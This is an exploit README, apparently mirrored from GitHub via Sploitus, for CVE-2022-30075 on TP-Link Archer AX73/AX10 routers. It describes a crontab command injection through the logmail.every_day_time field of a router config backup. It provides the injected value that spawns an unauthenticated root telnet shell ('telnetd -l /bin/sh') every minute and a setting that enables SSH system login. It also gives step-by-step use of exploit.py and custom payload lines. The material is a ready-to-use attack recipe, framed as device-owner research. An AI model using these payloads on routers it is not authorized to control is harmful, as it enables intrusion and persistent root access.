Sploitus

tplink-archer-root-exploit

CVE-2022-30075

githubexploit · 2026-08-24

Exploit Code

README92 lines
## https://sploitus.com/exploit?id=A294AA8D-CE85-56E4-A599-1FC4B796EDC2
# TP-Link Archer AX73 / AX10 — Root Shell Exploit

**Auto-Mail Log Crontab Command Injection**

| | |
|---|---|
| **Device** | TP-Link Archer AX73 / AX10 / AX1500 Wi-Fi 6 Routers |
| **Firmware** | Affects stock firmware versions |
| **Chipset** | Broadcom BCM4908 / BCM6755 (ARM, kernel 4.1.52) |
| **Attack type** | Config backup injection (no hardware access needed) |
| **Access required** | Web UI admin password |
| **Result** | Persistent root execution / Unauthenticated root shell via Telnet & SSH |
| **Risk to device** | None — factory reset reverts all changes |

## The Vulnerability

The init script `/etc/init.d/logmail-auto` reads the `` field from the configuration backup and inserts it directly into crontab:

```bash
hour=${every_day_time%%:*}
minute=${every_day_time#*:}
echo "$minute $hour * * * /usr/sbin/logmail" >> /etc/crontabs/root
```

By injecting `* * * * /usr/sbin/telnetd -l /bin/sh #:*` into ``, the resulting cron entry becomes:

```cron
* * * * * /usr/sbin/telnetd -l /bin/sh # * * * /usr/sbin/logmail
```

This starts an unauthenticated root Telnet shell on port 23 **every minute**, completely independent of system clock, NTP synchronization, or WAN connectivity.

> **Tip:** You can change `PAYLOAD` inside `exploit.py` to any custom command (for example, `sh /data/start.sh` to run persistent startup scripts from flash storage or USB drives).

## How to Use

### Requirements

- Python 3
- `openssl` CLI tool
- Admin access to the router's web UI

### Step-by-step

```bash
# 1. Download your config backup from the router
#    Web UI → System Tools → Backup & Restore → Backup
#    Save as: backup.bin

# 2. Run the exploit script
python3 exploit.py backup.bin

# 3. Upload the modified config
#    Web UI → System Tools → Backup & Restore → Restore
#    Upload: backup_pwn.bin

# 4. Wait ~1 minute after the router reboots

# 5. Connect via Telnet
telnet 
# You will get an immediate root shell without password!
```

## Config Changes Made

| Setting | Injected Value | Purpose |
|---------|----------------|---------|
| `logmail.every_day_time` | `* * * * /usr/sbin/telnetd -l /bin/sh #:*` | **Every-minute root cron Telnet injection** |
| `dropbear.SysAccountLogin` | `on` | Enable SSH system account login |

## Customizing the Payload

To run your own scripts instead of just starting Telnet, edit line 16 of `exploit.py`:

```python
# Run custom boot script:
PAYLOAD = "sh /data/start.sh"

# Or run telnet + persistent script:
PAYLOAD = "/usr/sbin/telnetd -l /bin/sh; [ -f /data/start.sh ] && sh /data/start.sh"
```

## Credits & Acknowledgments

- Developed and maintained by [@QuasyStellar](https://github.com/QuasyStellar)
- Special thanks to [@maxilosgr](https://github.com/maxilosgr) for the initial research and inspiration on TP-Link Archer exploitation methodology
- Based on config backup encryption research (CVE-2022-30075 attack surface)

## Disclaimer

This tool is provided for **educational and authorized security research purposes only**. Only use it on devices you own or have explicit permission to test. The author is not responsible for any misuse.